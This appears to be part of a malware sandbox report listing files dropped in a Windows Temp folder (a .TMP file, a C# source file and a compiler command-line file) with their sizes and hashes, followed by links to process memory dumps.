Path \??\c:\Users\Admin\AppData\Local\Temp\xrbzjleb\CSCDCB4F9548BF24FB7962D221F8F6CE874.TMP
Size 652B
SHA256 115d5ea372163ed338c79070150dbe3626b551a8c9f2743e51a9cf94872fba3f
MD5 2fba61ef79798b6c6088b9e9eab3cb67
SHA1 fd73dad4c660afee9627c60575ff5baafcd1f8b0
SHA512 8f487c9238e4ca636cd974da77ac31164e6096f6f5444d3b3b60bde6e935b1e036b92d2aa5890be84b43f67cefc6d38a3777ddf0bde15aec7005390670aeaea9
MD5 SHA1 SHA512

Submit Download

xrbzjleb.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\xrbzjleb\xrbzjleb.0.cs
Size 426B
SHA256 a81f86cd4d33ebbf2b725df6702b8f6b3c31627bf52eb1cadc1e40b1c0c2bb35
MD5 b462a7b0998b386a2047c941506f7c1b
SHA1 61e8aa007164305a51fa2f1cebaf3f8e60a6a59f
SHA512 eb41b838cc5726f4d1601d3c68d455203d3c23f17469b3c8cbdd552f479f14829856d699f310dec05fe7504a2ae511d0b7ffff6b66ceadb5a225efe3e2f3a020
MD5 SHA1 SHA512

Submit Download

xrbzjleb.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\xrbzjleb\xrbzjleb.cmdline
Size 369B
SHA256 16110580f9cd03f13224b245c507cb38feaf20e5fe0d9cb6218ce8310fabca65
MD5 30daff2065ef183d837625b43be85fee
SHA1 53f589ea3325f14e6f4ed2b69d32880d3145bb43
SHA512 7931d6a98439b6264ee7a9019f42ad8454a29d54f17ef4b4e2b9ae09a137aacef427e4fecec91b6a6c236fa23876f93577e56f7ca80b678e567807cecd5871bb
MD5 SHA1 SHA512

Submit Download

memory/1480-86-0x00007FF8A22B0000-0x00007FF8A2D71000-memory.dmp

Download

memory/1480-105-0x00007FF8A22B0000-0x00007FF8A2D71000-memory.dmp

Download

memory/1480-100-0x000001C198B10000-0x000001C198B18000-memory.dmp

Download

memory/1480-87-0x000001C1B3460000-0x000001C1B34D6000-memory.dmp

Download

memory/1480-85-0x00007FF8A22B0000-0x00007FF8A2D71000-memory.dmp

Download

memory/1480-84-0x000001C1B3390000-0x000001C1B33D4000-memory.dmp

Download

memory/1480-83-0x00007FF8A22B0000-0x00007FF8A2D71000-memory.dmp

Download

memory/1480-82-0x000001C1B0DB0000-0x000001C1B0DD2000-memory.dmp

Download

memory/1480-72-0x00007FF8A22B3000-0x00007FF8A22B5000-memory.dmp

Download

memory/4712-119-0x0000025BF65F0000-0x0000025BF6640000-memory.dmp

Download

memory/4980-190-0x0000026BC7980000-0x0000026BC7988000-memory.dmp

Download